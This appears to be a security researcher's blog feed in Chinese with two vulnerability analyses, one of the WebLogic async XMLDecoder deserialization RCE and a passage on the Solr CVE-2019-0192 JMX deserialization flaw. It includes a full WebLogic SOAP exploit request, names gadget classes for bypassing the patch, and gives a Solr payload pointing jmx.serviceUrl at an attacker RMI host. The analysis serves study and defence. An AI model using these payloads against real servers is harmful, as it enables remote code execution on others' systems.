Balis0ng's blog
8df28945f5c03f75364c77df1c4f315de4cad8f6-balis0ng.com
2019-04-30T06:26:12Z
weblogic wls9-async组件rce漏洞分析
2019-04-30T06:26:12Z
lou-dong-fen-xi/weblogic-wls9-asynczu-jian-rcelou-dong-fen-xi
Balis0ng's blog
<h2 id="toc_0" class="h16">前言</h2>
<p class="md_block">
<span class="md_line md_line_start md_line_end">在4月17,cnvd通报了一个weblogic的rce漏洞,<a class="md_compiled" href="http://www.cnvd.org.cn/webinfo/show/4989">链接在此</a></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">发现是由于async_response这个war包导致的,乍一看这个洞就跟2017的wsat组件很相似。都是因为xmldecoder反序列化导致的rce。</span>
</p>
<h2 id="toc_1" class="h16">分析</h2>
<p class="md_block">
<span class="md_line md_line_start md_line_end">首先给出调用栈: </span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">BaseWSServlet (service)->BaseWSServlet (run)</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">->SoapProcessor (process)->WsSkel (invoke) </span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">->ServerDispatcher (dispatch)->HandlerIterator (handleRequest)</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">->WorkAreaServerHandler (handleRequest)</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">->WorkContextLocalMap (receiveRequest)</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">->WorkContextEntryImpl (readEntry)->readUTF->readObject</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">然后就是动态调试过程了。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">首先将weblogic以debug模式启动,然后idea导入jar包并attach上就可以动态调试了。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">调用栈给出来了,其实流程就不需要怎么细说了。主要说一下poc构造中的几个注意的点。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">在HandlerIterator中调用handleRequest函数时,有一个for循环来遍历hanlders,如图所示:</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190428173851008.png" alt="image-20190428173851008" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">首先看一下这个this.handlers的值:</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190428174032010.png" alt="image-20190428174032010" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">有三个handler是我们需要注意的,第一个是ServerAddressingHandler。这个Hanlder组装我们soap中的各种元素并设置,比如Action和RelatesTo。</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190428174223196.png" alt="image-20190428174223196" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">第二个就是AsyncResponseHandler。这个中会判断是否存在RelatesTo。如果没有就直接return false了。</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190428174314603.png" alt="image-20190428174314603" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">所以我们在poc中要设置addressing.RelatesTo和addressing.Action。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">第三个就是在WorkAreaServerHanlder中进行xmldecoder的反序列化。也就是真正的rce触发点了。关于WorkAreaServerHanlder如何触发xmldecoder的反序列化,这里我就不赘述,大家可以去看CVE-2017-10271的分析,<a class="md_compiled" href="https://www.anquanke.com/post/id/102768">链接在此</a></span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190428174609289.png" alt="image-20190428174609289" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start">几个注意事项都说了,然后就是根据wsdl文件来组建soap消息了。wsdl文件内容如下:<br /></span>
<span class="md_line md_line_dom_embed md_line_with_image md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190428175733526.png" alt="image-20190428175733526" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">所以最后得出来的最基础的poc如下</span>
</p>
<pre><code>POST /_async/AsyncResponseService HTTP/1.1
Host: localhost:7001
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en,zh-CN;q=0.8,zh;q=0.7,zh-TW;q=0.5,zh-HK;q=0.3,en-US;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: text/xml
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 820
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:balisong="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>test</wsa:Action>
<wsa:RelatesTo>test</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<balisong:onAsyncDelivery>calculator</balisong:onAsyncDelivery>
</soapenv:Body>
</soapenv:Envelope></code></pre>
<!--block_code_end--><h2 id="toc_2" class="h16">绕过</h2>
<p class="md_block">
<span class="md_line md_line_start md_line_end">上述poc的局限性非常大,如果打了2017年十月份补丁的,这个poc是打不了的,由于手上并没有具体的补丁,所以只能靠网上给出的核心补丁代码进行分析:</span>
</p>
<div class="codehilite code_lang_java highlight"><pre><span></span><span class="kd">public</span> <span class="kt">void</span> <span class="nf">startElement</span><span class="o">(</span><span class="n">String</span> <span class="n">uri</span><span class="o">,</span> <span class="n">StringlocalName</span><span class="o">,</span> <span class="n">String</span> <span class="n">qName</span><span class="o">,</span> <span class="n">Attributes</span> <span class="n">attributes</span><span class="o">)</span> <span class="kd">throws</span> <span class="n">SAXException</span> <span class="o">{</span>
<span class="k">if</span><span class="o">(</span><span class="n">qName</span><span class="o">.</span><span class="na">equalsIgnoreCase</span><span class="o">(</span><span class="err">“</span><span class="n">object</span><span class="err">”</span><span class="o">)){</span>
<span class="k">throw</span> <span class="n">newIllegalStateException</span><span class="o">(</span><span class="err">“</span><span class="n">Invalid</span> <span class="n">element</span> <span class="n">qName</span><span class="o">:</span><span class="n">object</span><span class="err">”</span><span class="o">);</span>
<span class="o">}</span> <span class="k">else</span> <span class="k">if</span><span class="o">(</span><span class="n">qName</span><span class="o">.</span><span class="na">equalsIgnoreCase</span><span class="o">(</span><span class="err">“</span><span class="k">new</span><span class="err">”</span><span class="o">)){</span>
<span class="k">throw</span> <span class="n">newIllegalStateException</span><span class="o">(</span><span class="err">“</span><span class="n">Invalid</span> <span class="n">element</span> <span class="n">qName</span><span class="o">:</span><span class="k">new</span><span class="err">”</span><span class="o">);</span>
<span class="o">}</span> <span class="k">else</span> <span class="k">if</span><span class="o">(</span><span class="n">qName</span><span class="o">.</span><span class="na">equalsIgnoreCase</span><span class="o">(</span><span class="err">“</span><span class="n">method</span><span class="err">”</span><span class="o">)){</span>
<span class="k">throw</span> <span class="n">newIllegalStateException</span><span class="o">(</span><span class="err">“</span><span class="n">Invalid</span> <span class="n">element</span> <span class="n">qName</span><span class="o">:</span><span class="n">method</span><span class="err">”</span><span class="o">);</span>
<span class="o">}</span> <span class="k">else</span> <span class="o">{</span>
<span class="k">if</span><span class="o">(</span><span class="n">qName</span><span class="o">.</span><span class="na">equalsIgnoreCase</span><span class="o">(</span><span class="err">“</span><span class="kt">void</span><span class="err">”</span><span class="o">))</span> <span class="o">{</span>
<span class="k">for</span><span class="o">(</span><span class="kt">int</span> <span class="n">attClass</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span> <span class="n">attClass</span><span class="o"><</span> <span class="n">attributes</span><span class="o">.</span><span class="na">getLength</span><span class="o">();</span> <span class="o">++</span><span class="n">attClass</span><span class="o">)</span> <span class="o">{</span>
<span class="k">if</span><span class="o">(!</span><span class="err">”</span><span class="n">index</span><span class="err">”</span><span class="o">.</span><span class="na">equalsIgnoreCase</span><span class="o">(</span><span class="n">attributes</span><span class="o">.</span><span class="na">getQName</span><span class="o">(</span><span class="n">attClass</span><span class="o">)))</span> <span class="o">{</span>
<span class="k">throw</span> <span class="n">newIllegalStateException</span><span class="o">(</span><span class="err">“</span><span class="n">Invalid</span> <span class="n">attribute</span> <span class="k">for</span> <span class="n">element</span> <span class="kt">void</span><span class="o">:</span><span class="err">”</span> <span class="o">+</span><span class="n">attributes</span><span class="o">.</span><span class="na">getQName</span><span class="o">(</span><span class="n">attClass</span><span class="o">));</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="o">}</span>
</pre></div>
<!--block_code_end-->
<p class="md_block md_block_as_opening md_has_block_below md_has_block_below_ol">
<span class="md_line md_line_start md_line_end">这里最尴尬的其实就是对于void标签的过滤,导致void标签里除了index外不能有其他属性值,所以上述的poc就不能用了,也不能自由调类的静态函数啥的了,但是我们仍然可以调用类的构造函数来实现绕过。类的构造函数有这么几种情况是可以利用的:</span>
</p>
<ol>
<li class="md_li"><span>构造函数有写文件操作,文件名和内容可控,可以进行getshell。
</span></li>
<li class="md_li"><span>构造函数有其他的反序列化操作,我们可以进行二次反序列化操作。
</span></li>
<li class="md_li"><span>构造函数直接有执行命令的操作,执行命令可控。
</span></li>
<li class="md_li"><span>有其它的可能导致rce的操作,比如表达式注入之类的。
</span></li>
</ol>
<p class="md_block md_block_as_opening md_has_block_below md_has_block_below_ol">
<span class="md_line md_line_start md_line_end">其实找利用是一个很费劲的活儿。跟小组小伙伴一起寻找了一番。其实第三种我觉得是基本不可能的,曾经对第一种希望很大,但是也并没有找到,最终找到的可能利用的类如下:</span>
</p>
<ol>
<li class="md_li"><span>oracle.toplink.internal.sessions.UnitOfWorkChangeSet (只存在于10.3.6)
</span></li>
<li class="md_li"><span>oracle.jms.plsql.MapMsgEntity (存在于10.3.6和12.1.3)
</span></li>
<li class="md_li"><span>org.slf4j.ext.EventData (存在于12.1.3)
</span></li>
<li class="md_li"><span>com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext (存在于10.3.6和12.1.3)
</span></li>
</ol>
<p class="md_block">
<span class="md_line md_line_start md_line_end">然后分别来看一下这四个类的构造函数到底是怎样的。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end"><strong>UnitOfWorkChangeSet</strong>:</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190428182511854.png" alt="image-20190428182511854" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">构造函数传入byte,然后进行二次反序列化,可以绕过。但是进一步利用仍然需要找一个pop链才行,以为yso里会有可用的,比较了一番.除了一个jdk7u21的..发现好像并没有,但jdk7u21限制太大了,需要再找找更好用的。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">最终盯上了</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager这个类的readObject方法,看一下具体内容:</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190428183409617.png" alt="image-20190428183409617" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">readObject中调用了一个initUserTransactionAndTransactionManager方法,跟进去看看:</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190428183501727.png" alt="image-20190428183501727" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">这里将this.userTransactionName传递到了lookupUserTransaction函数中,继续跟进查看:</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190428183607365.png" alt="image-20190428183607365" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">调用lookup,可以造成jndi注入。因此该pop链可用,虽然也会受到jdk版本的限制,但是比那个jdk7u21好得多了。</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_start md_line_end"><strong>MapMsgEntity</strong></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">这个类的构造函数如下:</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190428183931231.png" alt="image-20190428183931231" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">这个类乍一眼看跟上个类差不多,也是传递进来一个byte数组然后二次反序列化。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">但是在实际测试测时候发现了有问题,会报这个错误:</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/21037A71A9886C5F4DC8211F35F42724.jpg" alt="21037A71A9886C5F4DC8211F35F42724" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">经过排查,是因为xmldecoder用的 getConstructors,只能返回public构造函数。而该类的构造函数未被public声明,所以会找不到,因此该类无法利用。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end"><strong>EventData </strong></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">这个类的利用可谓是简单粗暴,构造函数如下:</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190428184346297.png" alt="image-20190428184346297" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">是不是很眼熟?对,就是类似一个"二次漏洞触发点"这种操作。所以这个是最好用的,不用受到jdk版本限制,但是比较可惜的是,这个类只在12.1.3版本中存在,在10.3.6中并没有。</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_start md_line_end"><strong>FileSystemXmlApplicationContext</strong></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">其实当时以为可以直接用FileSystemXmlApplicationContext的gadget来打。但是实践后发现并不行, 发现好像跟jackson的那个利用还是有区别,就是少了分析表达式的那一步。导致并不能利用,看一下这两者代码的区别:</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/698C59D7BE0CBDD5EFBB77E75CFCD924.jpg" alt="698C59D7BE0CBDD5EFBB77E75CFCD924" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190429171312662.png" alt="image-20190429171312662" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">有点迷醉….唯独少了这一行代码…感觉是不行的。(经过评论区大哥的指导,是可以的。非常感谢!学习了!)</span>
</p>
<h2 id="toc_3" class="h16">补丁</h2>
<p class="md_block">
<span class="md_line md_line_start md_line_end">weblogic针对绕过发布了新的补丁,补丁让人比较难受的一点,就是把class标签给过滤掉了:</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190430101901436.png" alt="image-20190430101901436" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">所以后续看看还能不能绕吧….</span>
</p>
<h2 id="toc_4" class="h16">总结</h2>
<p class="md_block">
<span class="md_line md_line_start md_line_end">虽然可以绕过,但是几种方法,要么受weblogic版本限制,要么受jdk版本限制。并没有找到一个通用的Poc。比较遗憾。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">感谢D0g3-Team的小伙伴(Lucifaer,orich1)的帮助。</span>
</p>
Apache Solr RCE(CVE-2019-0192)分析复现
2019-04-01T03:04:35Z
lou-dong-fen-xi/apache-solr-rce-cve-2019-0192-fen-xi-fu-xian
Balis0ng's blog
<h2 id="toc_0" class="h16">概述</h2>
<p class="md_block">
<span class="md_line md_line_start md_line_end">挖src碰到了一个solr的环境,然后看到国外有人提交了一个关于solr rce的漏洞。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">漏洞链接(https://issues.apache.org/jira/browse/SOLR-13301)</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">看描述是因为JMX造成的反序列化漏洞。因此分析复现一遍。</span>
</p>
<h2 id="toc_1" class="h16">POC</h2>
<p class="md_block">
<span class="md_line md_line_start md_line_end">URL:http://localhost/solr/[corename]/config"</span>
</p>
<p class="md_block">
<span class="md_line md_line_start">PostBody:<br /></span>
<span class="md_line md_line_end">{"set-property": {"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://IP:PORT/obj}}</span>
</p>
<h2 id="toc_2" class="h16">分析</h2>
<p class="md_block">
<span class="md_line md_line_start md_line_end">我本地环境为jdk7u21+solr5.3.0</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">搭建环境具体过程就不说了,就是ant编译源码然后IDEA挂载跑起来就行。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">因为solr有一个类webapp的东西,所以首先查看入口点也就是web.xml</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">如图所示:</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190329140659550.png" alt="image-20190329140659550" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">有一个全局的filter,跟进这个filter看一下内容:</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190329140756858.png" alt="image-20190329140756858" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">Filter函数关键的地方在这里,跟进这个call函数查看一下内容:</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190329140936312.png" alt="image-20190329140936312" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">这里调用了一个init函数,也就是初始化的操作,跟进这个函数看一下对路由的处理:</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190329141922397.png" alt="image-20190329141922397" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">相应的代码点功能我都写了注释。这段代码主要是判断路由的情况。而下面这段代码很关键的地方在于设置了action为PROCESS。然后return</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190329142037927.png" alt="image-20190329142037927" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">至此,初始化的操作完毕,我们也知道了是如何解析URL的,并且将action设为了PROCESS,然后回到call函数,继续看,发现对action有个switch操作,如图所示:</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190329142312543.png" alt="image-20190329142312543" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">这里我们进入case PROCESS这个分支,核心操作在execute(solrRsp),跟入查看:</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190329152907057.png" alt="image-20190329152907057" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">这里又继续调用了一个execute函数,跟进查看:</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190329153107619.png" alt="image-20190329153107619" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">这里调用了关键函数,handleRequest,跟进这个函数查看:</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190329153239438.png" alt="image-20190329153239438" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">关键点在handleRequestBody函数,有很多类重写了这个函数,我们跟到SolrConfigHandler这个类中去:</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190329154128131.png" alt="image-20190329154128131" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">当请求方法为POST的时候,调用command.handlePOST(),跟进该函数:</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190329155053525.png" alt="image-20190329155053525" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">函数第一行的功能是解析POSTbody,将JSON解析为List,因此ops和opsCopy存放的是我们传入的数据。而 overlay是从原来的配置文件中取出的数据,也就是corename/conf/configoverlay.json。如果没有的话,这里是空。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">然后将这两个变量带入到了handleCommands函数中继续处理,跟进:</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190329155609236.png" alt="image-20190329155609236" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">这里根据传入的name来判断进入哪个分支,常量对应表为<img class="md_compiled " src="/漏洞分析/assets/image-20190329155711705.png" alt="image-20190329155711705" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">我们需要进入SET_PROPERTY分支,该分支调用了一个applySetProp函数,跟进:</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190329163506419.png" alt="image-20190329163506419" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">这里将name和val单独取出来。带入到该函数末尾的</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190329163542362.png" alt="image-20190329163542362" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">跟进该函数:</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190329163705505.png" alt="image-20190329163705505" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">其实就是一个组装键值的过程,然后最后将组装好的jsonObj带入到ConfigOverlay构造函数中:</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190329163819638.png" alt="image-20190329163819638" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">注意这个props和data此时已经包含了发送的payload。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">然后依次返回到handleCommands函数中case分支完成。然后到handleCommands最后的的代码:</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190329164040841.png" alt="image-20190329164040841" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">首先看到persistConfLocally这个函数,传递了三个参数进去,第一个是resourceloader,第二个是一个字符串常量,值为:</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190329164216849.png" alt="image-20190329164216849" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">第三个比较重要,是overlay.toByteArray,而这个overlay是上文中return回来的ConfigOverlay对象,那么看一下这个类的toByteArray函数实现:</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190329164327634.png" alt="image-20190329164327634" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">就是一个值转Json的操作,这里是data,而这个data上文说过,包含了我们的payload。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">参数都搞清楚了,那么然后回到persistConfLocally函数,看一下操作:</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190329164455455.png" alt="image-20190329164455455" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">这个函数功能很简单,就是将包含payload的json数据写入到我们的configoverlay.json文件中。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">OK,调用完persistConfLocally之后,又调用了一个reload函数,看一下:</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190329165254451.png" alt="image-20190329165254451" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">注意红框处的函数,是真正的漏洞触发点。调用了一个getConfig函数,跟进:</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190329165409074.png" alt="image-20190329165409074" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">这里调用createSolrConfig创建SolrConfig对象,跟进:</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190329165448172.png" alt="image-20190329165448172" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">继续跟进:</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190329165513799.png" alt="image-20190329165513799" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">这里new了一个SolrConfig对象,name是一个字符串,值为solrconfig.xml</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">SolrConfig类的构造函数很长,关键点在</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190329165737894.png" alt="image-20190329165737894" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">这里设置了jmxconfig的值,首先调用了getNode函数查看solrConfig.xml中是否有jmx节点,如果有(这里是有的)就调用get函数将configoverlay.json中对应的数据取出来,这里有一个get("jmx/@serviceUrl")的操作,其实就是将上文写入configoverlay.json中的远程serviceUrl取出来。另外这jmxconfig是一个JmxConfiguration对象,看一下构造函数:</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190329170112483.png" alt="image-20190329170112483" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">我们的serviceUrl是第三个参数,被设置为了成员变量serviceUrl的值。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">然后继续层层返回,返回到reload函数中:</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190329170225196.png" alt="image-20190329170225196" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">reload函数中也调用了一个reload函数,这函数中存在真正的触发点,跟入查看:</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190329170347472.png" alt="image-20190329170347472" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">这里new了一个SolrCore对象,注意第三个参数,coreConfig.getSolrConfig()这个函数其实是返回的上文new的SolrConfig对象,然后跟进SolrCore类的构造函数,该构造函数中有这样一段代码:</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190329170522931.png" alt="image-20190329170522931" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">跟入initInfoRegistry函数:</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"><img class="md_compiled " src="/漏洞分析/assets/image-20190329170554578.png" alt="image-20190329170554578" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">这里进入到if分支,该分支里new了一个JmxMonitoredMap对象,注意传入的第三个参数,是config.jmxConfig。也就是SolrConfig的jmxConfig成员,这个成员上文有强调。jmxConfig成员是一个JmxConfiguration对象,它的成员serviceUrl是可控的,包含的是我们的payload。</span>
</p>
<p class="md_block">
